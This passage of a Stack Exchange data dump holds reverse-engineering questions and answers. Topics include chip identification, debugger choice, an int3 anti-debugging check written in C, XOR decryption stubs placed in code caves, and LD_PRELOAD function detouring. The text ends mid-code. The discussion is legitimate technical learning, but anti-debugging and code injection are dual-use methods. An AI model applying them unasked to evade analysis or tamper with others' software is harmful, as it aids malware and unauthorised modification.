  <row Id="20373" PostTypeId="1" CreationDate="2019-01-14T22:07:18.407" Score="2" ViewCount="591" Body="&lt;p&gt;I am asking here hoping that someone may have experience identifying these kind of old chips. Googling the reference just shows some forums with people in same situation as me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IC reference: 25072478 REV D&#xA;&lt;a href=&quot;https://i.stack.imgur.com/y4cwn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y4cwn.jpg&quot; alt=&quot;25072478 REV D&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an Opel LCD dashboard design from the mid 80s. So the chip should have been available at that time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8 of the pins are connected to the main controller, which is a known part:&#xA;SAB80515&#xA;&lt;a href=&quot;https://i.stack.imgur.com/udc10.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/udc10.jpg&quot; alt=&quot;SAB80515&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also trying to get at least a part of the board schematic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 1: The chips connects this way, I have to check the other pins left blank at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PuBL2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PuBL2.png&quot; alt=&quot;Schematic simplified&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27102" LastEditorUserId="27102" LastEditDate="2019-01-15T22:12:25.570" LastActivityDate="2019-02-14T23:03:15.647" Title="Help to identify unknown IC from Microchip" Tags="|integrated-circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20374" PostTypeId="2" ParentId="20362" CreationDate="2019-01-14T22:12:21.513" Score="2" Body="&lt;p&gt;The MX25U1635E is designed for 1.8 volt logic, whereas your programmer is designed for 3.3 or 5.0 volt logic. You're going to need a 1.8 volt adapter for the programmer or you will damage the MX25U1635E. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you google CH341A 1.8 volt adapter, you can find them for relatively cheap. &lt;/p&gt;&#xA;" OwnerUserId="27091" LastActivityDate="2019-01-14T22:12:21.513" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20375" PostTypeId="2" ParentId="20371" CreationDate="2019-01-14T22:25:52.660" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Win32 debugger is IDA's internal debugger, whereas WinDbg is Microsoft's debugger. They both effectively do the same thing. IDA's debugger is probably better integrated with IDA.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm going to make a recommendation here to use &lt;a href=&quot;https://x64dbg.com/#start&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg&lt;/a&gt;. Ollydbg is outdated and unsupported. IDA's debugger works but the interface is clunky and isn't as easy to use as x64dbg. Plus if IDA's debugger crashes, you risk corrupting your IDA database. If x64dbg crashes you don't lose anything except a few minutes of time. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27091" LastActivityDate="2019-01-14T22:25:52.660" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20376" PostTypeId="2" ParentId="20373" CreationDate="2019-01-14T22:33:03.207" Score="1" Body="&lt;p&gt;The small chip is probably a one off chip made for whoever manufactured this board. Your best best bet is examining what the pins connect to and analyzing what they may do. Since its a one off chip the chance of finding a datasheet is slim to none. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The big chip is a variation of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_MCS-51&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel 8051&lt;/a&gt; which is common in 80's car technology. The datasheet can be found &lt;a href=&quot;http://www.b-kainka.de/Daten/Mikros/d80515.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27091" LastActivityDate="2019-01-14T22:33:03.207" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20377" PostTypeId="2" ParentId="20353" CreationDate="2019-01-14T22:38:06.073" Score="1" Body="&lt;p&gt;Open your IDA installation folder open plugins\defs.h, this file contains all of the macros used by the hexrays decompiler. It can also be found at the github in arman's answer. &lt;/p&gt;&#xA;" OwnerUserId="27091" LastActivityDate="2019-01-14T22:38:06.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20380" PostTypeId="2" ParentId="20367" CreationDate="2019-01-15T08:05:34.670" Score="3" Body="&lt;p&gt;There sure is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p = angr.Project(&quot;target_binary&quot;)&#xA;state = p.factory.blank_state(addr=0x400770)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I strongly recommend reading &lt;a href=&quot;https://docs.angr.io/core-concepts/states#state-presets&quot; rel=&quot;nofollow noreferrer&quot;&gt;the State Presets section of the docs&lt;/a&gt; for more information. Crucially, all of the state preset constructors can take the &lt;code&gt;addr&lt;/code&gt; argument; depending what you're doing, there may be a better preset to use than &lt;code&gt;blank_state&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further resources:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://angr.io/api-doc/angr.html#angr.factory.AngrObjectFactory&quot; rel=&quot;nofollow noreferrer&quot;&gt;API docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples from the angr team that include starting analysis at a specific address:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/angr/angr-doc/blob/master/examples/9447_nobranch/solve.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example 1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/angr/angr-doc/blob/master/examples/cmu_binary_bomb/solve.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example 2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/angr/angr-doc/blob/master/examples/defcon2017quals_crackme2000/magic.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example 3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18563" LastEditorUserId="18563" LastEditDate="2019-01-15T08:12:31.303" LastActivityDate="2019-01-15T08:12:31.303" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20381" PostTypeId="1" CreationDate="2019-01-15T09:08:06.707" Score="1" ViewCount="984" Body="&lt;p&gt;In Ida when I use debugger, but I can't step back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any debugger that allow go backwards?&lt;/p&gt;&#xA;" OwnerUserId="27108" LastEditorUserId="53" LastEditDate="2019-01-15T09:28:43.303" LastActivityDate="2019-01-15T09:28:43.303" Title="Is there any debugger that supports step-back?" Tags="|ida|ollydbg|debugging|debuggers|x64dbg|" AnswerCount="1" CommentCount="1" ClosedDate="2019-01-15T12:28:04.737" ContentLicense="CC BY-SA 4.0" />
  <row Id="20382" PostTypeId="2" ParentId="20381" CreationDate="2019-01-15T09:27:37.050" Score="1" Body="&lt;p&gt;In general, stepping back for a debugger is a hard problem. &lt;code&gt;gdb&lt;/code&gt; has a limited &lt;em&gt;step back&lt;/em&gt; feature but it comes with a cost, see &lt;a href=&quot;https://www.gnu.org/software/gdb/news/reversible.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, when you think about it, the whole difficulty solved by the programmer when debugging is to step-back until it reach the bug. This is the whole difficulty and we do not have a nice and automated solution for it right now.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2019-01-15T09:27:37.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20384" PostTypeId="1" CreationDate="2019-01-15T16:45:59.700" Score="5" ViewCount="1341" Body="&lt;p&gt;I would like to use Radare2 to learn about how C is assembled into assembly but I am having trouble with the layout. I think the V! mode would be very handy as you can watch the registers update as the instruction pointer moves through the program, but I don't understand the layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of they layout I would like: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/gooa3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gooa3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems when I add a window (like Stack or Registers in this photo) it appears offscreen and I have to try closing different and splitting windows until the layout kind of falls into place. Is there an easy way to change exactly what is in each window?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know 'X' closes a window, 'z' switches the current window to the front, and '-' / '|' split a window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried looking at the help but can't seem to figure out any other commands related to this issue.&lt;/p&gt;&#xA;" OwnerUserId="27110" LastEditorUserId="28285" LastEditDate="2019-04-30T07:24:52.227" LastActivityDate="2019-04-30T07:24:52.227" Title="Radare2 Disassembler How Do You Organize Visual Panels (V!)?" Tags="|x86|radare2|static-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20387" PostTypeId="1" CreationDate="2019-01-15T20:18:50.217" Score="1" ViewCount="1744" Body="&lt;p&gt;This is  assembly code that  can catch debugger with &lt;code&gt;int 3&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV ECX, ExceptionHandler&#xA;&#xA;MOV DWORD PTR FS:[0], ExceptionHandler&#xA;&#xA;INT3&#xA;      ///there is debugger!!!&#xA;&#xA;ExceptionHandler:&#xA;       ////no debugger&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When programmer write a C program , which code he write that compile to this trap?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Windows with x86&lt;/p&gt;&#xA;" OwnerUserId="26837" LastEditorUserId="26837" LastEditDate="2019-01-16T17:09:54.897" LastActivityDate="2019-01-16T19:55:33.693" Title="How int3 looks like in C" Tags="|assembly|c|anti-debugging|breakpoint|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20388" PostTypeId="1" AcceptedAnswerId="20391" CreationDate="2019-01-16T10:17:23.223" Score="0" ViewCount="282" Body="&lt;p&gt;Let's say we have this simple &quot;hello world&quot; nasm code that will be compiled to an ELF executable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global main&#xA;&#xA;section .data&#xA;    message db &quot;Hello World!&quot;, 0x00&#xA;&#xA;section .text&#xA;&#xA;main:&#xA;    call    hello&#xA;    ret&#xA;&#xA;hello:&#xA;    lea     rdi, [rel message]&#xA;    call    puts&#xA;    ret&#xA;.end:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add a label called &lt;code&gt;decrypt&lt;/code&gt; into the compiled ELF executable and then subsequently call it (with/without the source code)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global main&#xA;&#xA;section .data&#xA;    message db &quot;Hello World!&quot;, 0x00&#xA;&#xA;section .text&#xA;&#xA;main:&#xA;    call    decrypt                              &amp;lt;---------------Addition&#xA;    call    hello&#xA;    ret&#xA;&#xA;decrypt:                                         &amp;lt;---------------Addition&#xA;    DECRYPTOR_SECTION hello, hello.end-hello     &amp;lt;---------------Addition&#xA;    ret                                          &amp;lt;---------------Addition&#xA;&#xA;hello:&#xA;    lea     rdi, [rel message]&#xA;    call    puts&#xA;    ret&#xA;.end:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27117" LastActivityDate="2019-01-19T06:08:36.310" Title="Is it possible to add a label to an ELF executable and then call that label? If so, how?" Tags="|elf|patching|injection|nasm|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20389" PostTypeId="2" ParentId="20384" CreationDate="2019-01-16T10:31:50.010" Score="6" Body="&lt;p&gt;Use &lt;kbd&gt;TAB&lt;/kbd&gt; to move between the windows, use &lt;kbd&gt;e&lt;/kbd&gt; to change name and command of a specific panel you are on. Use &lt;kbd&gt;w&lt;/kbd&gt; to enter the window mode. &quot;Window mode&quot; allows you to control how the panels look like. In window-mode you can use &lt;kbd&gt;HJKL&lt;/kbd&gt; to resize the window's height and width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should answer your question &quot;Is there an easy way to change exactly what is in each window?&quot;. Because you can simply select a panel and use &lt;kbd&gt;e&lt;/kbd&gt; to change its content :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to use &lt;kbd&gt;?&lt;/kbd&gt; in the different visual screens to get more help&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2019-01-16T10:31:50.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20391" PostTypeId="2" ParentId="20388" CreationDate="2019-01-16T13:17:34.650" Score="0" Body="&lt;p&gt;I am not sure what your intent is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean you have to add a function and call it before  main after the source is compiled, then yes it is definitely possible. All you have to do is run through some hoops like finding a code cave, assembling the new code in code cave, and detouring the first instruction of main to call your new function and return back to main's next instruction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean I want the function to be sequential then it might be possible if you can destroy and recreate the assembly in-place (kinda tough).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And no there is no label you need to calculate relative address / absolute address of the newly added function and use one form of e8 or ff25 call  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having source can help you in understanding the assembly but you have to play in assembly only if you have to patch a compiled executable.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A program prior to addition of encrypt proc will look like this (a simple msgbox in windows notice both caption and text are pointing to a string which is unintelligible)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/it6Kp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/it6Kp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to implement the commented out source code inline for decrypting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.386&#xA;.model flat, stdcall&#xA;option casemap:none&#xA;include \masm32\include\windows.inc&#xA;include \masm32\include\kernel32.inc&#xA;includelib kernel32.lib&#xA;include \masm32\include\user32.inc&#xA;includelib user32.lib&#xA;&#xA;.data&#xA;Encrypted   db 217,243,234,245,252,249,255,254,183,227,176,228,229&#xA;            db 228,255,226,249,241,252,176,254,255,190,162,144&#xA;&#xA;.code&#xA;start:&#xA;    ;call decrypt&#xA;    call hello&#xA;    invoke ExitProcess,NULL&#xA;&#xA;; decrypt proc&#xA;    ; xor ecx,ecx&#xA;    ; complete:&#xA;    ; lea esi , Encrypted &#xA;    ; add esi,ecx&#xA;    ; movzx eax , byte ptr ds:[esi]&#xA;    ; xor eax ,090h&#xA;    ; mov byte ptr ds:[Encrypted + ecx], al&#xA;    ; add ecx,1&#xA;    ; cmp byte ptr ds:[Encrypted + ecx - 1 ],0&#xA;    ; jne complete&#xA;    ; ret&#xA;; decrypt endp&#xA;&#xA;&#xA;hello proc&#xA;    invoke MessageBox, NULL,addr Encrypted, addr Encrypted, MB_OK&#xA;    ret&#xA;hello endp &#xA;&#xA;end start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you implement your decrypt proc some where in existing free space (called code cave) it may look like this  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have to destroy the first call jmp here decrypt &#xA;add the code that you destroyed and jump back to the next correct sequential instruction post the destroyed code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address       Command                                            Comments&#xA;00152000      XOR     ECX, ECX&#xA;00152002      /LEA     ESI, [154000]&#xA;00152008      |ADD     ESI, ECX&#xA;0015200A      |MOVZX   EAX, BYTE PTR DS:[ESI]&#xA;0015200D      |XOR     EAX, 00000090&#xA;00152012      |MOV     BYTE PTR DS:[ECX+154000], AL&#xA;00152018      |ADD     ECX, 1&#xA;0015201B      |CMP     BYTE PTR DS:[ECX+153FFF], 0&#xA;00152022      \JNE     SHORT 00152002&#xA;00152024      RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorDisplayName="user12114" LastEditDate="2019-01-19T06:08:36.310" LastActivityDate="2019-01-19T06:08:36.310" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20393" PostTypeId="2" ParentId="20387" CreationDate="2019-01-16T19:55:33.693" Score="2" Body="&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;&#xA;void main (void) &#xA;{&#xA;    __try &#xA;    {&#xA;        __debugbreak();&#xA;    } &#xA;    __except( GetExceptionCode() == &#xA;        EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER :EXCEPTION_CONTINUE_SEARCH ) &#xA;    {&#xA;        printf(&quot;executed out of debugger\n&quot;);&#xA;        exit(1);&#xA;    }&#xA;    printf(&quot;executed inside debugger\n&quot;);&#xA;    exit(2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly of main() without handler&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf .&#xA;int3!main [xxx\int3.cpp @ 6]:&#xA;    6 01381000 55              push    ebp&#xA;    6 01381001 8bec            mov     ebp,esp&#xA;    6 01381003 6afe            push    0FFFFFFFEh&#xA;    6 01381005 68d0573c01      push    offset int3!__rtc_tzz+0x8 (013c57d0)&#xA;    6 0138100a 6820213801      push    offset int3!_except_handler4 (01382120)&#xA;    6 0138100f 64a100000000    mov     eax,dword ptr fs:[00000000h]&#xA;    6 01381015 50              push    eax&#xA;    6 01381016 83c4f0          add     esp,0FFFFFFF0h&#xA;    6 01381019 53              push    ebx&#xA;    6 0138101a 56              push    esi&#xA;    6 0138101b 57              push    edi&#xA;    6 0138101c a104703c01      mov     eax,dword ptr [int3!__security_cookie (013c7004)]&#xA;    6 01381021 3145f8          xor     dword ptr [ebp-8],eax&#xA;    6 01381024 33c5            xor     eax,ebp&#xA;    6 01381026 50              push    eax&#xA;    6 01381027 8d45f0          lea     eax,[ebp-10h]&#xA;    6 0138102a 64a300000000    mov     dword ptr fs:[00000000h],eax&#xA;    6 01381030 8965e8          mov     dword ptr [ebp-18h],esp&#xA;    7 01381033 c745fc00000000  mov     dword ptr [ebp-4],0&#xA;    9 0138103a cc              int     3&#xA;   10 0138103b c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh&#xA;   10 01381042 eb45            jmp     int3!main+0x89 (01381089)&#xA;&#xA;int3!main+0x89 [xxx\int3.cpp @ 17]:&#xA;   17 01381089 68bce13b01      push    offset int3!__xt_z+0x2c (013be1bc)&#xA;   17 0138108e e85d000000      call    int3!printf (013810f0)&#xA;   17 01381093 83c404          add     esp,4&#xA;   18 01381096 6a02            push    2&#xA;   18 01381098 e8dec00100      call    int3!exit (0139d17b)&#xA;   0:000&amp;gt; da 13be1bc&#xA;   013be1bc  &quot;executed inside debugger.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;handler will be called if there is no debugger&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;int3.exe&#xA;executed out of debugger&#xA;&#xA;:\&amp;gt;cdb  -g -c &quot;g;q&quot; int3.exe  | grep -i executed&#xA;executed inside debugger&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-01-16T19:55:33.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20394" PostTypeId="2" ParentId="283" CreationDate="2019-01-17T04:00:26.963" Score="4" Body="&lt;p&gt;Another option is Fireye's Windows-based &lt;a href=&quot;https://github.com/fireeye/flare-vm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Flare VM&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike the Linux-based examples on this page, Flare VM only provides an installer script, not the VM itself. Fortunately, you can get a free Windows VM &lt;a href=&quot;https://developer.microsoft.com/en-us/windows/downloads/virtual-machines&quot; rel=&quot;nofollow noreferrer&quot;&gt;straight from Microsoft&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their GitHub page has the full (very long) list of tools; here is a snippet:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Debuggers&lt;/h2&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;flare-qdb&lt;/li&gt;&#xA;  &lt;li&gt;scdbg&lt;/li&gt;&#xA;  &lt;li&gt;OllyDbg + OllyDump + OllyDumpEx&lt;/li&gt;&#xA;  &lt;li&gt;OllyDbg2 + OllyDumpEx&lt;/li&gt;&#xA;  &lt;li&gt;x64dbg&lt;/li&gt;&#xA;  &lt;li&gt;WinDbg + OllyDumpex + pykd&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;h2&gt;Decompilers&lt;/h2&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;RetDec&lt;/li&gt;&#xA;  &lt;li&gt;Jd-gui and bytecode-viewer&lt;/li&gt;&#xA;  &lt;li&gt;dnSpy&lt;/li&gt;&#xA;  &lt;li&gt;IDR&lt;/li&gt;&#xA;  &lt;li&gt;VBDecompiler&lt;/li&gt;&#xA;  &lt;li&gt;Py2ExeDecompiler&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;h2&gt;Disassemblers&lt;/h2&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;IDA Free (5.0 &amp;amp; 7.0)&lt;/li&gt;&#xA;  &lt;li&gt;Binary Ninja Demo&lt;/li&gt;&#xA;  &lt;li&gt;Radare2&#xA;  and Cutter&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18563" LastEditorUserId="18563" LastEditDate="2019-01-17T13:18:56.083" LastActivityDate="2019-01-17T13:18:56.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20395" PostTypeId="1" AcceptedAnswerId="20399" CreationDate="2019-01-17T04:24:36.177" Score="0" ViewCount="911" Body="&lt;p&gt;To be specific, I &lt;strong&gt;cannot&lt;/strong&gt; recompile this binary, nor do I have access to the sourcecode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functions are &lt;strong&gt;not&lt;/strong&gt; defined within a shared library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can I go about changing a function, or &lt;em&gt;preferably detouring it&lt;/em&gt; to a new function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if it's possible, use dlsym/dlopen to get my new modified code from a shared library, so I don't have to edit the binary by hand every time I want to change something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, one more thing, editing the actual binary &lt;strong&gt;is&lt;/strong&gt; something I can do/I have access to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just for extra info, I have Radare2 installed, as well as GDB with pwndbg, so any solutions using those tools, or builtin GNU/Linux debugging tools would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a beginner to reverse engineering things, but not to the point I have zero idea what I'm doing.&lt;/p&gt;&#xA;" OwnerUserId="27126" LastActivityDate="2024-03-15T22:01:02.630" Title="How do I go about overriding a function internally defined in a binary on Linux?" Tags="|disassembly|assembly|linux|x86-64|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20396" PostTypeId="2" ParentId="12054" CreationDate="2019-01-17T04:24:50.567" Score="3" Body="&lt;p&gt;As mentioned &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/18495/18563&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;https://github.com/IDArlingTeam/IDArling&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDArling&lt;/a&gt; was released recently and is still being actively maintained (last commit was just over a week ago). Notably, it also won the &lt;a href=&quot;https://www.hex-rays.com/contests/2018/index.shtml#idarling&quot; rel=&quot;nofollow noreferrer&quot;&gt;2018 IDA Plugin Contest&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT July 2021&lt;/strong&gt;&#xA;From the IDArling README:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This project is no longer under active development and the more featured and up-to-date &lt;a href=&quot;https://github.com/fidgetingbits/IDArling&quot; rel=&quot;nofollow noreferrer&quot;&gt;fork&lt;/a&gt; is probably something more interesting for new comers. Also, IDA has announced an official support for collaborative reverse engineering session and one could also wait for this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT June 2022&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/ida-teams/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Teams is now in beta&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18563" LastEditorUserId="18563" LastEditDate="2022-06-25T15:01:19.517" LastActivityDate="2022-06-25T15:01:19.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20397" PostTypeId="2" ParentId="11621" CreationDate="2019-01-17T10:02:14.170" Score="6" Body="&lt;p&gt;&lt;code&gt;COERCE_TYPE(x)&lt;/code&gt; is the same thing as &lt;code&gt;*(TYPE *)&amp;amp;x&lt;/code&gt;. Hex-Rays uses &lt;code&gt;COERCE_...&lt;/code&gt; macros when &lt;code&gt;&amp;amp;x&lt;/code&gt; is illegal. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COERCE_DOUBLE(__PAIR__(i1,i2))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the same as &lt;code&gt;*(double *)&amp;amp;__PAIR__(i1, i2)&lt;/code&gt;, but since &lt;code&gt;&amp;amp;&lt;/code&gt; can not be applied to calls, we end up seeing &lt;code&gt;COERCE&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its name correctly conveys its meaning.&lt;/p&gt;&#xA;" OwnerUserId="27130" LastEditorUserId="53" LastEditDate="2019-01-17T16:15:58.753" LastActivityDate="2019-01-17T16:15:58.753" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20399" PostTypeId="2" ParentId="20395" CreationDate="2019-01-17T15:26:38.907" Score="5" Body="&lt;p&gt;You have several options here, but I like this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the code is already inside the executable, so you have to patch the entrypoint to jump to a new function.&#xA;To do so, I suggest to use a shared object (.so). In this module you will both: the new function and a 'patcher function'. The latter function &lt;em&gt;must&lt;/em&gt; be defined with &lt;code&gt;__attribute__((constructor))&lt;/code&gt;, this attribute will force the ELF loader to call this function before the &lt;code&gt;main&lt;/code&gt; function from your original executable is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The patcher function will set write access at the entrypoint of the old function with &lt;code&gt;mprotect (2)&lt;/code&gt;, encode the jump instruction, and it's probably better to remove the write access you needed for the patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have your shared object, you can inject it using the &lt;code&gt;LD_PRELOAD&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit with an example, since you didn't mentioned the architecture, I assumed this is for x86-64:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First this is a target, we want to change the function my_rand to return 0xdeadbeef.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;time.h&amp;gt;&#xA;&#xA;int my_rand(void)&#xA;{&#xA;        srand(time(NULL));&#xA;        return rand() + rand() ^ rand();&#xA;}&#xA;&#xA;int main(void)&#xA;{&#xA;        printf(&quot;random value: %08x\n&quot;, my_rand());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To find the RVA, we can use &lt;code&gt;nm&lt;/code&gt; because we have the symbol. You might have to find it manually.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nm target|grep my_rand&#xA;0000000000001169 T my_rand&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, the code of the patcher:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;sys/mman.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;#include 